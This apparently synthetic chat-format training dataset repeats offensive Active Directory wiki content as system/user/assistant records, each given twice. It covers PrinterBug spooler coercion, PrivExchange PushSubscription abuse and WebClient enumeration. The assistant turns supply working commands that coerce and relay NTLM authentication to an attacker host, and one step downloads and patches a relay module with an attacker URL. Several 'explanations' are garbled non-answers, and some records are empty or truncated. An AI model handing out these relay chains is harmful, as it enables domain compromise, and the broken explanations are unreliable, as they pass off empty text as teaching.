[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for MS-RPRN abuse (PrinterBug) - Theory

[Assistant]
Microsoft’s Print Spooler is a service handling the print jobs and other various tasks related to printing. An attacker controling a domain user/computer can, with a specific RPC call, trigger the spooler service of a target running it and make it authenticate to a target of the attacker's choosing. This flaw is a "won't fix" and enabled by default on all Windows environments (more info on the finding).

The coerced authentications are made over SMB. But MS-RPRN abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP which heightens NTLM relay capabilities.

The "specific call" mentioned above is the RpcRemoteFindFirstPrinterChangeNotificationEx notification method, which is part of the MS-RPRN protocol. MS-RPRN is Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server.

> [!TIP]
> The attacker needs a foothold on the domain (i.e. compromised account) for this attack to work since the coercion is operated through an RPC call in the SMB \pipe\spoolss named pipe through the IPC$ share.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for MS-RPRN abuse (PrinterBug) - Theory

Response:
Microsoft’s Print Spooler is a service handling the print jobs and other various tasks related to printing. An attacker controling a domain user/computer can, with a specific RPC call, trigger the spooler service of a target running it and make it authenticate to a target of the attacker's choosing. This flaw is a "won't fix" and enabled by default on all Windows environments (more info on the finding).

The coerced authentications are made over SMB. But MS-RPRN abuse can be combined with WebClient abuse to elicit incoming authentications made over HTTP which heightens NTLM relay capabilities.

The "specific call" mentioned above is the RpcRemoteFindFirstPrinterChangeNotificationEx notification method, which is part of the MS-RPRN protocol. MS-RPRN is Microsoft’s Print System Remote Protocol. It defines the communication of print job processing and print system management between a print client and a print server.

> [!TIP]
> The attacker needs a foothold on the domain (i.e. compromised account) for this attack to work since the coercion is operated through an RPC call in the SMB \pipe\spoolss named pipe through the IPC$ share.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is MS-RPRN abuse (PrinterBug) - Practice?

[Assistant]
Remotely checking if the spooler is available can be done with SpoolerScanner (Powershell) or with rpcdump (Python).

The spooler service can be triggered with printerbug or SpoolSample (C#). There are many alternatives available publicly on the Internet.

::: tabs

=== printerbug

Trigger the spooler service

``bash
printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'
`

=== rpcdump

Check if the spooler service is available

`bash
rpcdump.py $TARGET | grep -A 6 "spoolsv"
`

=== SpoolerScanner

Check if the spooler service is available

`
Import-Module .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
`

=== ntlmrelayx

In the situation where the tester doesn't have any credentials, it is still possible to relay an authentication and trigger the spooler service of a target via a SOCKS proxy.

`bash
ntlmrelayx.py -t smb://$TARGET -socks
proxychains printerbug.py -no-pass 'DOMAIN'/'USER'@'TARGET' 'ATTACKER HOST'
``

:::

> [!TIP]
> Nota bene: coerced NTLM authentications made over SMB restrict the possibilites of NTLM relay. For instance, an "unsigning cross-protocols relay attack" from SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is MS-RPRN abuse (PrinterBug) - Practice?

Response:
Remotely checking if the spooler is available can be done with SpoolerScanner (Powershell) or with rpcdump (Python).

The spooler service can be triggered with printerbug or SpoolSample (C#). There are many alternatives available publicly on the Internet.

::: tabs

=== printerbug

Trigger the spooler service

``bash
printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'
`

=== rpcdump

Check if the spooler service is available

`bash
rpcdump.py $TARGET | grep -A 6 "spoolsv"
`

=== SpoolerScanner

Check if the spooler service is available

`
Import-Module .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
`

=== ntlmrelayx

In the situation where the tester doesn't have any credentials, it is still possible to relay an authentication and trigger the spooler service of a target via a SOCKS proxy.

`bash
ntlmrelayx.py -t smb://$TARGET -socks
proxychains printerbug.py -no-pass 'DOMAIN'/'USER'@'TARGET' 'ATTACKER HOST'
``

:::

> [!TIP]
> Nota bene: coerced NTLM authentications made over SMB restrict the possibilites of NTLM relay. For instance, an "unsigning cross-protocols relay attack" from SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform MS-RPRN abuse (PrinterBug) - Practice?

[Assistant]
Remotely checking if the spooler is available can be done with SpoolerScanner (Powershell) or with rpcdump (Python).

The spooler service can be triggered with printerbug or SpoolSample (C#). There are many alternatives available publicly on the Internet.

::: tabs

=== printerbug

Trigger the spooler service

``bash
printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'
`

=== rpcdump

Check if the spooler service is available

`bash
rpcdump.py $TARGET | grep -A 6 "spoolsv"
`

=== SpoolerScanner

Check if the spooler service is available

`
Import-Module .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
`

=== ntlmrelayx

In the situation where the tester doesn't have any credentials, it is still possible to relay an authentication and trigger the spooler service of a target via a SOCKS proxy.

`bash
ntlmrelayx.py -t smb://$TARGET -socks
proxychains printerbug.py -no-pass 'DOMAIN'/'USER'@'TARGET' 'ATTACKER HOST'
``

:::

> [!TIP]
> Nota bene: coerced NTLM authentications made over SMB restrict the possibilites of NTLM relay. For instance, an "unsigning cross-protocols relay attack" from SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform MS-RPRN abuse (PrinterBug) - Practice?

Response:
Remotely checking if the spooler is available can be done with SpoolerScanner (Powershell) or with rpcdump (Python).

The spooler service can be triggered with printerbug or SpoolSample (C#). There are many alternatives available publicly on the Internet.

::: tabs

=== printerbug

Trigger the spooler service

``bash
printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'
`

=== rpcdump

Check if the spooler service is available

`bash
rpcdump.py $TARGET | grep -A 6 "spoolsv"
`

=== SpoolerScanner

Check if the spooler service is available

`
Import-Module .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
`

=== ntlmrelayx

In the situation where the tester doesn't have any credentials, it is still possible to relay an authentication and trigger the spooler service of a target via a SOCKS proxy.

`bash
ntlmrelayx.py -t smb://$TARGET -socks
proxychains printerbug.py -no-pass 'DOMAIN'/'USER'@'TARGET' 'ATTACKER HOST'
``

:::

> [!TIP]
> Nota bene: coerced NTLM authentications made over SMB restrict the possibilites of NTLM relay. For instance, an "unsigning cross-protocols relay attack" from SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the printerbug.py command to ms-rprn abuse (printerbug) - practice

[Assistant] printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the printerbug.py command to ms-rprn abuse (printerbug) - practice

Response: printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out MS-RPRN abuse (PrinterBug) - Practice during a pentest?

[Assistant] printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out MS-RPRN abuse (PrinterBug) - Practice during a pentest?

Response: printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'`?

[Assistant] This command is used for ms-rprn abuse (printerbug) - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'`?

Response: This command is used for ms-rprn abuse (printerbug) - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use rpcdump.py for ms-rprn abuse (printerbug) - practice?

[Assistant] rpcdump.py $TARGET | grep -A 6 "spoolsv"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use rpcdump.py for ms-rprn abuse (printerbug) - practice?

Response: rpcdump.py $TARGET | grep -A 6 "spoolsv"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on MS-RPRN abuse (PrinterBug) - Practice

[Assistant] rpcdump.py $TARGET | grep -A 6 "spoolsv"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on MS-RPRN abuse (PrinterBug) - Practice

Response: rpcdump.py $TARGET | grep -A 6 "spoolsv"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `rpcdump.py $TARGET | grep -A 6 "spoolsv"`?

[Assistant] This command is used for ms-rprn abuse (printerbug) - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `rpcdump.py $TARGET | grep -A 6 "spoolsv"`?

Response: This command is used for ms-rprn abuse (printerbug) - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the Import-Module syntax for ms-rprn abuse (printerbug) - practice?

[Assistant]
Import-Module .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the Import-Module syntax for ms-rprn abuse (printerbug) - practice?

Response:
Import-Module .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do MS-RPRN abuse (PrinterBug) - Practice

[Assistant]
Import-Module .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do MS-RPRN abuse (PrinterBug) - Practice

Response:
Import-Module .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Import-Module .\Get-SpoolStatus.ps1`?

[Assistant] This command is used for ms-rprn abuse (printerbug) - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Import-Module .\Get-SpoolStatus.ps1`?

Response: This command is used for ms-rprn abuse (printerbug) - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use ntlmrelayx.py for ms-rprn abuse (printerbug) - practice?

[Assistant]
ntlmrelayx.py -t smb://$TARGET -socks
proxychains printerbug.py -no-pass 'DOMAIN'/'USER'@'TARGET' 'ATTACKER HOST'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use ntlmrelayx.py for ms-rprn abuse (printerbug) - practice?

Response:
ntlmrelayx.py -t smb://$TARGET -socks
proxychains printerbug.py -no-pass 'DOMAIN'/'USER'@'TARGET' 'ATTACKER HOST'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for MS-RPRN abuse (PrinterBug) - Practice

[Assistant]
ntlmrelayx.py -t smb://$TARGET -socks
proxychains printerbug.py -no-pass 'DOMAIN'/'USER'@'TARGET' 'ATTACKER HOST'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for MS-RPRN abuse (PrinterBug) - Practice

Response:
ntlmrelayx.py -t smb://$TARGET -socks
proxychains printerbug.py -no-pass 'DOMAIN'/'USER'@'TARGET' 'ATTACKER HOST'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ntlmrelayx.py -t smb://$TARGET -socks`?

[Assistant] This command is used for ms-rprn abuse (printerbug) - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ntlmrelayx.py -t smb://$TARGET -socks`?

Response: This command is used for ms-rprn abuse (printerbug) - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 NBT Name Overwrite

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 🛠 NBT Name Overwrite


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 NBT Name Overwrite

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does PushSubscription abuse - Theory work?

[Assistant] "PushSubscription" is an API on Exchange Web Services that allows to subscribe to push notifications. Attackers abuse it to make Exchange servers authenticate to a target of their choosing. The coerced authentication is made over HTTP, which is particularly powerful when doing NTLM relay (because of the Session Signing and MIC mitigations). As Exchange servers usually have high privileges in a domain (i.e. WriteDacl, see Abusing ACLs), the forced authentication can then be relayed and abused to obtain domain admin privileges (see NTLM Relay and Kerberos Unconstrained Delegations).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does PushSubscription abuse - Theory work?

Response: "PushSubscription" is an API on Exchange Web Services that allows to subscribe to push notifications. Attackers abuse it to make Exchange servers authenticate to a target of their choosing. The coerced authentication is made over HTTP, which is particularly powerful when doing NTLM relay (because of the Session Signing and MIC mitigations). As Exchange servers usually have high privileges in a domain (i.e. WriteDacl, see Abusing ACLs), the forced authentication can then be relayed and abused to obtain domain admin privileges (see NTLM Relay and Kerberos Unconstrained Delegations).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute PushSubscription abuse - Theory?

[Assistant] "PushSubscription" is an API on Exchange Web Services that allows to subscribe to push notifications. Attackers abuse it to make Exchange servers authenticate to a target of their choosing. The coerced authentication is made over HTTP, which is particularly powerful when doing NTLM relay (because of the Session Signing and MIC mitigations). As Exchange servers usually have high privileges in a domain (i.e. WriteDacl, see Abusing ACLs), the forced authentication can then be relayed and abused to obtain domain admin privileges (see NTLM Relay and Kerberos Unconstrained Delegations).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute PushSubscription abuse - Theory?

Response: "PushSubscription" is an API on Exchange Web Services that allows to subscribe to push notifications. Attackers abuse it to make Exchange servers authenticate to a target of their choosing. The coerced authentication is made over HTTP, which is particularly powerful when doing NTLM relay (because of the Session Signing and MIC mitigations). As Exchange servers usually have high privileges in a domain (i.e. WriteDacl, see Abusing ACLs), the forced authentication can then be relayed and abused to obtain domain admin privileges (see NTLM Relay and Kerberos Unconstrained Delegations).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe PushSubscription abuse - Practice in the context of penetration testing

[Assistant]
PrivExchange (Python) is a tool able to log in on Exchange Web Services and call that API.

``bash
privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET
`

> [!TIP]
> In the situation where the tester doesn't have any credentials, it is still possible to relay an authentication to make the API call.
>
> The modified httpattack.py can be used with ntlmrelayx.py to perform this attack. The attacker host needs to be modified in the script since it is hard-coded.
>
> `bash
> cd /PATH/TO/impacket/impacket/examples/ntlmrelayx/attacks/httpattack.py
> mv httpattack.py httpattack.py.old
> wget https://raw.githubusercontent.com/dirkjanm/PrivExchange/master/httpattack.py
> sed -i 's/attacker_url = .*$/attacker_url = "$ATTACKER_URL"/' httpattack.py
> cd /PATH/TO/impacket
> pip3 install .
> ntlmrelayx.py -t https://exchange.server.EWS/Exchange.asmx
> ``

> [!NOTE]
> On February 12th 2019, Microsoft released updates for Exchange which resolved
>
> * the coerced authentication issue
> * the fact that Exchange servers had overkill permissions leading attacker to a full domain compromission.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe PushSubscription abuse - Practice in the context of penetration testing

Response:
PrivExchange (Python) is a tool able to log in on Exchange Web Services and call that API.

``bash
privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET
`

> [!TIP]
> In the situation where the tester doesn't have any credentials, it is still possible to relay an authentication to make the API call.
>
> The modified httpattack.py can be used with ntlmrelayx.py to perform this attack. The attacker host needs to be modified in the script since it is hard-coded.
>
> `bash
> cd /PATH/TO/impacket/impacket/examples/ntlmrelayx/attacks/httpattack.py
> mv httpattack.py httpattack.py.old
> wget https://raw.githubusercontent.com/dirkjanm/PrivExchange/master/httpattack.py
> sed -i 's/attacker_url = .*$/attacker_url = "$ATTACKER_URL"/' httpattack.py
> cd /PATH/TO/impacket
> pip3 install .
> ntlmrelayx.py -t https://exchange.server.EWS/Exchange.asmx
> ``

> [!NOTE]
> On February 12th 2019, Microsoft released updates for Exchange which resolved
>
> * the coerced authentication issue
> * the fact that Exchange servers had overkill permissions leading attacker to a full domain compromission.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through PushSubscription abuse - Practice

[Assistant]
PrivExchange (Python) is a tool able to log in on Exchange Web Services and call that API.

``bash
privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET
`

> [!TIP]
> In the situation where the tester doesn't have any credentials, it is still possible to relay an authentication to make the API call.
>
> The modified httpattack.py can be used with ntlmrelayx.py to perform this attack. The attacker host needs to be modified in the script since it is hard-coded.
>
> `bash
> cd /PATH/TO/impacket/impacket/examples/ntlmrelayx/attacks/httpattack.py
> mv httpattack.py httpattack.py.old
> wget https://raw.githubusercontent.com/dirkjanm/PrivExchange/master/httpattack.py
> sed -i 's/attacker_url = .*$/attacker_url = "$ATTACKER_URL"/' httpattack.py
> cd /PATH/TO/impacket
> pip3 install .
> ntlmrelayx.py -t https://exchange.server.EWS/Exchange.asmx
> ``

> [!NOTE]
> On February 12th 2019, Microsoft released updates for Exchange which resolved
>
> * the coerced authentication issue
> * the fact that Exchange servers had overkill permissions leading attacker to a full domain compromission.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through PushSubscription abuse - Practice

Response:
PrivExchange (Python) is a tool able to log in on Exchange Web Services and call that API.

``bash
privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET
`

> [!TIP]
> In the situation where the tester doesn't have any credentials, it is still possible to relay an authentication to make the API call.
>
> The modified httpattack.py can be used with ntlmrelayx.py to perform this attack. The attacker host needs to be modified in the script since it is hard-coded.
>
> `bash
> cd /PATH/TO/impacket/impacket/examples/ntlmrelayx/attacks/httpattack.py
> mv httpattack.py httpattack.py.old
> wget https://raw.githubusercontent.com/dirkjanm/PrivExchange/master/httpattack.py
> sed -i 's/attacker_url = .*$/attacker_url = "$ATTACKER_URL"/' httpattack.py
> cd /PATH/TO/impacket
> pip3 install .
> ntlmrelayx.py -t https://exchange.server.EWS/Exchange.asmx
> ``

> [!NOTE]
> On February 12th 2019, Microsoft released updates for Exchange which resolved
>
> * the coerced authentication issue
> * the fact that Exchange servers had overkill permissions leading attacker to a full domain compromission.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the privexchange.py syntax for pushsubscription abuse - practice?

[Assistant] privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the privexchange.py syntax for pushsubscription abuse - practice?

Response: privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for PushSubscription abuse - Practice?

[Assistant] privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for PushSubscription abuse - Practice?

Response: privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET`?

[Assistant] This command is used for pushsubscription abuse - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `privexchange.py -d $DOMAIN -u '$DOMAIN_USER' -p '$PASSWORD' -ah $ATTACKER_IP $EXCHANGE_SERVER_TARGET`?

Response: This command is used for pushsubscription abuse - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is WebClient abuse (WebDAV) - Theory?

[Assistant]
> Web Distributed Authoring and Versioning (WebDAV) is an extension to Hypertext Transfer Protocol (HTTP) that defines how basic file functions such as copy, move, delete, and create are performed by using HTTP (docs.microsoft.com)

The WebClient service needs to be enabled for WebDAV-based programs and features to work. As it turns out, the WebClient service can be indirectly abused by attackers to coerce authentications. This technique needs to be combined with other coercion techniques (e.g. PetitPotam, PrinterBug), or multicast poisoning, to act as a booster for these techniques. It allows attackers to elicit authentications made over HTTP instead of SMB, hence heightening NTLM relay capabilities.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is WebClient abuse (WebDAV) - Theory?

Response:
> Web Distributed Authoring and Versioning (WebDAV) is an extension to Hypertext Transfer Protocol (HTTP) that defines how basic file functions such as copy, move, delete, and create are performed by using HTTP (docs.microsoft.com)

The WebClient service needs to be enabled for WebDAV-based programs and features to work. As it turns out, the WebClient service can be indirectly abused by attackers to coerce authentications. This technique needs to be combined with other coercion techniques (e.g. PetitPotam, PrinterBug), or multicast poisoning, to act as a booster for these techniques. It allows attackers to elicit authentications made over HTTP instead of SMB, hence heightening NTLM relay capabilities.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for WebClient abuse (WebDAV) - Theory

[Assistant]
> Web Distributed Authoring and Versioning (WebDAV) is an extension to Hypertext Transfer Protocol (HTTP) that defines how basic file functions such as copy, move, delete, and create are performed by using HTTP (docs.microsoft.com)

The WebClient service needs to be enabled for WebDAV-based programs and features to work. As it turns out, the WebClient service can be indirectly abused by attackers to coerce authentications. This technique needs to be combined with other coercion techniques (e.g. PetitPotam, PrinterBug), or multicast poisoning, to act as a booster for these techniques. It allows attackers to elicit authentications made over HTTP instead of SMB, hence heightening NTLM relay capabilities.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for WebClient abuse (WebDAV) - Theory

Response:
> Web Distributed Authoring and Versioning (WebDAV) is an extension to Hypertext Transfer Protocol (HTTP) that defines how basic file functions such as copy, move, delete, and create are performed by using HTTP (docs.microsoft.com)

The WebClient service needs to be enabled for WebDAV-based programs and features to work. As it turns out, the WebClient service can be indirectly abused by attackers to coerce authentications. This technique needs to be combined with other coercion techniques (e.g. PetitPotam, PrinterBug), or multicast poisoning, to act as a booster for these techniques. It allows attackers to elicit authentications made over HTTP instead of SMB, hence heightening NTLM relay capabilities.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about WebClient abuse (WebDAV) - Recon?

[Assistant]
Attackers can remotely enumerate systems on which the WebClient is running, which is not uncommon in organizations that use OneDrive or SharePoint or when mounting drives with a WebDAV connection string.

::: tabs

=== UNIX-like

From UNIX-like systems, this can be achieved with webclientservicescanner (Python) or using NetExec (Python).

``bash
webclientservicescanner 'domain.local'/'user':'password'@'machine'
netexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
`

=== Windows

From Windows systems, this can be achived with GetWebDAVStatus (C, C#)

`bash
GetWebDAVStatus.exe 'machine'
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about WebClient abuse (WebDAV) - Recon?

Response:
Attackers can remotely enumerate systems on which the WebClient is running, which is not uncommon in organizations that use OneDrive or SharePoint or when mounting drives with a WebDAV connection string.

::: tabs

=== UNIX-like

From UNIX-like systems, this can be achieved with webclientservicescanner (Python) or using NetExec (Python).

``bash
webclientservicescanner 'domain.local'/'user':'password'@'machine'
netexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
`

=== Windows

From Windows systems, this can be achived with GetWebDAVStatus (C, C#)

`bash
GetWebDAVStatus.exe 'machine'
``

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for WebClient abuse (WebDAV) - Recon

[Assistant]
